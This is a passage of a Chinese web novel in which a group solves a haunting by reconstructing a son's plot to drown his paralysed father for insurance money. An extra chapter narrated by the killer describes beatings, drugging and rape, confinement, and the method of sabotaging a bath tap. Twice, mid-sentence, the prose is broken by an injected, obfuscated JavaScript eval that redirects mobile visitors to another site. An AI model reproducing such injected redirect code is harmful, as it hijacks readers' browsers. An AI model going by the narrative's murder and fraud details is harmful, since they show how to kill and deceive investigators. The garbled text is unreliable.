虽然你有无精症,但万一呢,也许她真的怀上了你的孩子。 或者,你想要骗自己,她最后怀的是你的孩子。 过了半个月,你给王慧丽用了早孕试纸。 王慧丽怀孕了,你高兴极了。 渐渐的,你开始畅想未来,想要带着王慧丽去其他城市重新生活。 但是要运送王慧丽需要有一台自己的车,但你没有。 有了孩子后,你的开销也会增加,但你只是一个普通的外卖员,那一点工资没办法支付你想要的生活。 你需要钱,很多钱。 这时候,你想到了赵国强。 在你刚开始做保险业务员时,你为了增加业绩,给赵国强买了好几份保险。 赵国强突如其来的偏瘫让你拿到了一些钱,但这些还不够。 此时,另外的几份保额让你格外动心。 于是,你开始谋划让赵国强“意外死亡”。 赵国强喜欢泡澡,并且有泡澡时喝酒的习惯,这件事很多老邻居都知道。 你特意买了一个老人用的泡澡浴缸,隔三差五给赵国强泡澡,从不让他喝酒。 你很多耐心,这样平安地泡过很多次,只不过是为了最后一次的意外。 前几天,你觉得时机到了。 昨天是赵国强的生日,这是个千载难逢好机会。 你借着庆祝为由,买了一桌子的菜,还买了一瓶好酒。 你给赵国强换上了厚外套,故意将那瓶白酒放到赵国强能拿到的距离,并且假装忙碌地收拾餐桌,给他制造偷酒的机会。 赵国强如你所愿地偷了酒,你知道赵国强一定会在第二天泡澡的时候喝。 这一切都是监控下的一场表演,你故意在之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977589|161410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前安上监控,就是为了今天这一场表演,演给警察和保险公司看。 你提前换掉了浴缸的水龙头。那是一个阀芯坏掉的水龙头,一旦打开就没法关上。 赵国强泡澡时间长,水凉后他会放一次热水,而那时候,赵国庆已经醉得迷迷糊糊地根本察觉不了水龙头的异样了。 就算等他发觉不对劲,想关上也没办法关。 他在健全的时候都差点儿被淹死过,何况他现在已经瘫痪了。 你一直没有着急回去,是因为你想要确保你到家的时候见到的是一具死透了的尸体,到时候你换下坏掉的水龙头,装作惊慌失措一样将他送到医院,所有人也只会感叹一个大孝子失去了父亲。 到时候你就能带着王慧丽到其他城市生活。 至于有人来调查时你也想好了怎么藏匿王慧丽,主卧的床下,足够收纳一个人和那一大堆的孕妇用品。” 安月素讲完了。 她的声音停下,客厅里寂静异常。 赵白身上的锁链已经随着安月素的讲述慢慢消退。 对面剩下的只是一个垂头跪地,握着刀柄的青年。 他沙哑着问:“赵国强死了吗?” 楚雄回答他:“没有。” 赵白低着头,看不清他的脸色,只有几滴泪珠啪啪落到了地板上。 不知道他在庆幸还是惋惜。 四人没心情关注这些眼泪,和这个流着眼泪的男人。 他们左右环顾着四周,等待着屋子的变化。 但等了十多秒,什么都没等到。 楚暴问安凉:“老妈这是总结错了?怎么一点儿反应都没有?” 楚暴话音刚落,空中许久未变的红字突然打碎重组成另一句话: 【还原成功,恶鬼清退。】 四人顿时松了口气。 这时,红字再一次打碎重组: 【时空纠正。】 啥? 四人还没来得及发出疑问,一阵熟悉的晕眩感立即袭来。 几秒钟后,他们再次睁开眼睛。 温柔的阳光透过大落地窗照进客厅,几人像被随意丢弃的垃圾一样丢弃在客厅地毯上。 楚暴俯趴在地上,脑袋活动了两下,喊道:“诶?!谁的手扣我脑袋上了?!” 安凉的手微微动了动,感受到毛茸茸的触感,她装作若无其事一样移开手,正准备起身时,发现身上像横了一条钢筋一样。 楚暴轻咳一声,将胳膊撤走。 这时候,楚雄也心虚地从安月素身上坐起身,不像后方的姐弟俩,他几乎一大半的身体都压在了安月素上半身上,安月素感觉自己差点儿就被压断气。 可能是那个【时空纠正】的后遗症,几人觉得身上一点儿力气都没有,还有些腰酸背痛。于是重新并排躺回地毯上。 墙上的日历和时钟显示时间没变,仍然是今天中午12点。 只是光线正常了,赵白也不在了。 他们舒服地闭上眼睛。 楚雄:“就这么解决了?” 安月素:“好像缺点儿什么。” 楚暴:“有同感。” 安凉本想来个歇后语,但她疲惫地不想多说,于是两字总结:“报警。” 其他三人齐齐拖着音,恍然大悟地“哦~”了一声。 然后又是几秒钟的寂静…… 谁都不想先有动作。 最后,在其他人的催促下,楚雄无奈地起身拿手机,拨打了报警电话。 14. 2单元一楼(番外) 我的人生,从哪里开始错了呢? 也许从我出生那天,错误的标签就已经贴在了我哇哇啼哭的身体上。 有很多人说我特别爱我妈。 没错,我爱她,在那些充斥着酒精味儿的一幕幕场景中,如果不是她用身体挡在我的身上,现在的我一定更加伤痕累累。 但我也恨她! 如果不是她的悠游寡断,愚蠢愚昧,我的人生绝对不会有这样一个人渣父亲的存在,我更不会在她的教育下,可笑地认为自己应该去孝顺他! 因为他是我的父亲,我要孝顺他,哪怕他几乎从不回家,哪怕他在外面花天酒地,哪怕他每次都喝得烂醉用酒瓶子砸我的头,像抽畜牲一样抽打她,她依然觉得那是我们的天,我要孝顺他。 她说,这是中华五千年的传统美德。 不!不!这是封建糟粕!我的心里有无数个我在呐喊,但我的脑子却只轻飘飘地一句“你要孝顺”,我就要伸出双手把那个烂爹捧回家。 显而易见,在这其中她出了很大的力。 后来,她去世了,我觉得自己忽然就像个游魂一样,没有了家。 母亲临死前跟我说,她有一个遗憾,就是没能看到我结婚生子,为老赵家传宗接代。 如果不是她马上就要死了,我想我一定会生气骂她几句,老赵家这个代没什么可传的。 但她已经要死了,这个人只能出气,没了进气,我只能一句话不说地听着。 等她走后,我才知道我听到了心里。因为从那以后,我开始主动在身边寻找适龄的女孩儿,甚至琢磨上了相亲。 我知道这样下去,我找到的女孩儿不会真心爱我。 不过我不在乎,我也只是为了母亲的遗愿,哪有心思管什么爱不爱情。 谁知道,我一向糟糕的人生像是突然良心发现,可能是觉得之前太对不住我了,竟把那个叫王慧丽的女孩儿送到我面前。 她是上天的礼物。 我第一次体会到了别人说的怦然心动是什么感觉,原来心脏真的会砰砰跳个不停,像是打鼓一样。 从她看我的眼神中,我知道她也同样喜欢我。 我们顺理成章地在一起了,从那以后的每一个清晨都格外明亮,我的整个世界就像是刷了一遍新漆。 但是礼物拆过就拆过了,包装纸扔在垃圾桶后,我那糟糕的人生依然在继续。 恋爱的一个月后,新鲜感开始消散。 我在保险公司的业绩逐渐下滑,事业的不顺让我在生活中越加烦躁,我开始对惠丽越来越没有耐心,经常因为一些小事和她吵架。 就在那段时间,在一次争吵中,我意外和她动了手。 我发誓,发泄过后我比她更痛苦,我不仅和惠丽承诺,之后再也不动手,我自己也暗暗发誓我绝不会再做同样的事情。 我最痛恨家暴的男人,我比谁都厌恶这种人。 可我没想到,那一次就像是打开了某个魔鬼的大门,像是吸毒一样,我好像对这玩意儿上了瘾。 吃过山珍海味之后再也吃不下家常菜,每次吵架,我都感觉胸口的气已经不能通过以往的方法排出去了,只有打…… 一开始只是简单地动两下,打几个巴掌,到最后,只有狠狠地打,将她的脑袋撞到地上,砸出血来,踹她,踢她。 打死她,打到她一句话都说不出来,只有求饶声。打到她只知道捂着脑袋,看着地板露出害怕的表情。 只有打到这个程度,我才感觉我的气,顺了。 我是真心忏悔。我真的知道错了。我再也不会打她了,我发誓。每一次都发誓,不仅对惠丽发誓,我在心里也暗暗发誓。 但我一次次发誓,还是一次次地打她。 不,不行,我真的不能再打她了,她一定会离开我的。 我开始忍。 也许是那段时间生活顺心,我忍了一段时间后,在和惠丽争吵的过程中,我开始感觉自己没那么暴躁了。 惠丽感动于我的转变,我想到我妈传宗接代的遗憾,顺势和惠丽提出生个孩子。 惠丽是个可怜女孩儿,她从小就生活在一个重男轻女的家庭中,在我的一次次引导中,她才有脱离那个破烂家庭的勇气,她对我非常依赖,我知道对她来说,我是救赎。 她和我一样,生长于一个令人痛苦的家庭中。我们都一样,渴望拥有一个全新的、温暖的家。 于是,我们开始备孕。 为了孩子的健康,我们去医院做了体检。 我没想到,我竟然有无精症。 因为男人的自尊心,我没把这件事情告诉惠丽,自己偷偷治疗。 那段时间,我不再打惠丽,我们的生活就像爆发过的火山进入休眠期一样——平静。 但火山终究要爆发。 被我遗忘很久的赵国强又出现了。 我妈生病后,赵国强曾短暂地呆在家里一段时间。 我那个傻妈还以为这家伙是来照顾她的……(我真是不知道这个傻女人是怎么会有这种认知的?还是她在欺骗自己?我真的搞不明白。)但其实,赵国强只不过是因为年纪大,不好找活儿干,回家搜罗钱来了。 那段时间,赵国强天天在家里喝酒,不是骂我妈就是打她。 那个时候我妈瘫痪了,我在家的时候他有所顾忌,只敢动动嘴皮子,骂她累赘浪费钱,怎么不赶紧死了。 可是每次我出了家门,他就在背后打她。 尽管我妈怕我担心不告诉我,但我回家的时候,能看到她身上的伤痕。 因为这件事,我和赵国强吵过好几次,后来,赵国强拿着我给他的几千块钱出了家门。 从那之后,我很久没看见过他了。 因为惠丽的出现,我短暂遗忘了之前人生的所有让我不开心的东西,这其中当然有赵国强。 我没想到,当赵国强再一次出现在我面前时,是这样一副可怜的样子。 他才五十多岁,实际上只算个中年人,但他躺在那里,就像一个年迈的老人,而在这之前,因为他一贯的强势,我甚至都没有察觉他不年轻了。 可能我妈将她愚蠢的毛病传染给了我,也可能是她从小到大让我学习的愚蠢孝道起了作用,我对赵国强心软了。 这个禽兽作恶了一辈子,到头来只有我肯照顾他,也是怪可怜的。 当时我在保险公司业绩垫底,挣不了多少钱。我所幸辞了这份工作,用赵国强偏瘫后保险公司的赔偿在县城里租了个不错的房子,送起了外卖。 赵国强是脑出血导致的偏瘫,病情并不严重,靠着拐棍他也能慢慢也走动。 但禽兽就是禽兽,一次他在公园里乱摸一个小女孩儿,被人家的爸爸叔叔打断了腿。 我都要气笑了。 医生说有些偏瘫患者确实有□□异常的症状,但我知道,赵国强就是个禽兽,和医生说的那些借口一点儿关系都没有。 我选择了保守治疗。 那之后,赵国强没有得到精心保护的双腿彻底走不了了。 惠丽是个好女孩儿,知道赵国强的事情后,说什么都要辞职来找我。 我帮惠丽在我租的房子不远处的月光小区租了一间屋子,惠丽很高兴,说那是她住过的最漂亮的房子。 我给惠丽配了一把家里的钥匙,惠丽当时还没找到合适的工作,所以她没事的时候会来我家照看赵国强。有时候我在家,有时候我在外面送外卖。 事情就发生在惠丽和赵国强单独相处的时候,我是真的没想到这个禽兽连我的女朋友都有胆子骚扰! 我是谁!我现在是他赵国强唯一的依靠!没有我,谁还能照顾他!他是怎么敢的! 惠丽在电话里哭着和我说这件事,我忍着气送完手上的外卖,回到家里把赵国强狠狠打了一顿。 这是我第一次这么正式地反抗他,那是一种奇妙的感觉。 打完他后,我又赶到月光小区去见惠丽。 我本意是想安慰她,和她道歉的,但不知道怎么回事,我们俩说着说着就吵了起来,她开始骂我爸,那些难听的话我自己也赞同,不过从她嘴里说出来,我觉得她是在挑衅我。 于是我又打了她,这次,我打得过足了瘾。 王慧丽这次死了心要和我分手,哪怕我痛哭流涕地跪在她面前,给她剖析着我的内心、我的无能为力,她仍然无动于衷。 我失魂落魄回到家,看着没有任何悔改心的赵国强,气得又打了他一顿。 当天下午,我在医院里得到了一个坏消息,我的□□活检仍然没找到成熟精子,医生的意思说得很明白,我大概率生不了孩子,医生说也有可能是□□之前受创导致。 我想起小的时候,有一次喝醉酒的赵国强又打我妈,我上前挡着的时候确实被打到了那里。 赵国强,又是赵国强,我所有糟糕事情的源头都是他!我回家又把他打了一顿,我发现,打赵国强这件事更让我上瘾。 赵国强生病之后,连叫喊声都变弱了,我根本不担心周围有邻居发现,何况那天还在下大雨。 我打得畅快极了,打着打着,我突然灵光一现。 我妈的遗愿是给赵家传宗接代,他已经不能生孩子了,但是赵国强不是还没死吗? 赵国强应该还能生,他的精子应该还可以用。 我上网查过,精子排出后保存不好只能存活十几分钟,等不到拿进医院就死了。 于是,我计划 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977590|161410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着让赵国强和王慧丽直接发生关系。 王慧丽肯定不会同意。 不过没关系,我搞到了安眠药,找了个借口将她叫到家里后,我将安眠药下到牛奶里,王慧丽睡着后,我协助着赵国强□□她。 我事先的预想是,王慧丽就算醒来后发现异常,也会以为和她发生关系的人是我,但是我没想到王慧丽在过程中有过短暂的清醒,第二天醒来后,她假装什么都没发现地出了门,我总觉得她的神色不对劲,于是在她身后偷偷跟踪。 她还以为自己能骗过我,但还是被我发现了,她在吃避孕药。 如果她什么都没发现,为什么要吃安眠药?! 我心里觉得愤怒,并且对接下来发生的事,我隐隐有种预感。 我向王慧丽耐心地解释了一切,我希望她能谅解我,但她不仅没有,竟然还有想要报警的想法,于是,我将她打晕,在晚上几乎人人都睡觉的时候,避开监控,将她带回家,锁在了次卧里。 从她在屋子里醒来的那一刻,我就知道一切没了回头路,我绝不能让她再出去,否则她一定会报警。 我接管了她的手机,先是退了租,然后开始营造她出国的假象。 幸好她在之前就已经因为我的劝说闹着和家里人断绝关系,并且那段时间她的朋友们也知道她想要分手所以心情不好的事,她的“出国散心”举动简直是顺理成章,没有人怀疑,自然不会有人想到报警。 我怕只有一晚上不足以让王慧丽成功受孕,于是后来的几天,我每天都让王慧丽和赵国强发生几次关系。 那场景很刺激,我忍不住有了反应,我想,如果我和赵国强一起,那怀上的孩子没准也能是我的,谁说无精症不能怀孕的?这世上有那么多奇迹呢。 终于,王慧丽怀孕了。 我欣喜若狂,我开始在网上看一些照顾孕妇和婴儿的视频,越看越对未来充满期待。 但同时,我发现现在要养一个孩子太费钱了,我想要让我的孩子过得不比别的孩子差,这需要很多很多的钱。 王慧丽不能一直藏在这里,我想要开始新的生活,到一个不会有人认识我们的城市,最偏远的城市,我开始在网上搜索各种宜居城市额信息,挑好城市后,我又选好了楼盘。 慢慢的,我的心中产生了一个念头——杀了赵国强,骗保。 这个念头一旦产生,就再也压不下去了。 赵国强生病之前就爱泡澡,好几次都因为喝酒泡澡差点儿溺死在浴缸里。 我提前两个月买了一个充气浴缸,隔三差五就帮他放水泡澡,并且,在那段时间,我每天都会故意放水,假装我家每天用水量都很多的样子。 我特意买了一个监控摄像头装在赵国强,为日后做准备。 刚开始的时候,我只有在家时帮他泡澡,很快,他就觉得不过瘾。 于是,我经常在出门前把他放进浴缸,再给他放上电视,中午回家的时候,再把他弄出来。 他喜欢这样,我也喜欢。 两个月后,赵国强过生日,我觉得时机差不多了。 那一天,我借着庆祝生日为由买了一瓶白酒,是赵国强最喜欢的一种高度酒,我只给赵国强倒了一点儿,剩下的,我故意放在赵国强的左手边。 那天晚上,我买了很多菜,我假装忙着收拾餐桌,给赵国强制造偷酒的机会。 果然,如我猜测的那样,赵国强偷了那瓶酒。 以我对赵国强的了解,他一定会将酒留在第二天泡澡的时候,哪怕喝了,也只会喝一点儿,留着足够的量在第二天泡澡时候喝。 不过,就算他今天全喝了也没关系,我会等下一次机会。 我做好了计划失败的准备,我知道,杀人这种大事不能急,一定要有耐心。 在过去的两个月里,我分别在不同的地方买好了两个同样的水龙头,款式正是我家浴缸进水用的那款水龙头。 我上网学习拆解水龙头的教程,把两个水龙头的阀芯搞坏,一个做实验没问题后,另一个藏起来备用。 今天早上,这个被我藏了一个月的水龙头终于装在了正确的位置上。 我将赵国强的头放得比以往低一些,他正处于激动中,没有计较这些。 走之前,我站在浴缸边最后看了一眼赵国强光溜溜躺在水里的样子,我发现我没有一丁点儿不舍,甚至感到恶心。 我关上浴室的门后,心跳陡然加快,我在镜子前站了好一会儿。 我以为这个时候我会不敢看镜子里的自己,但没想到,我看得那么坦然。 我越看,越觉得镜子里这个人可怜,他太可怜了,可怜虫一个,我要拯救他。 调整好状态,我走出了卫生间。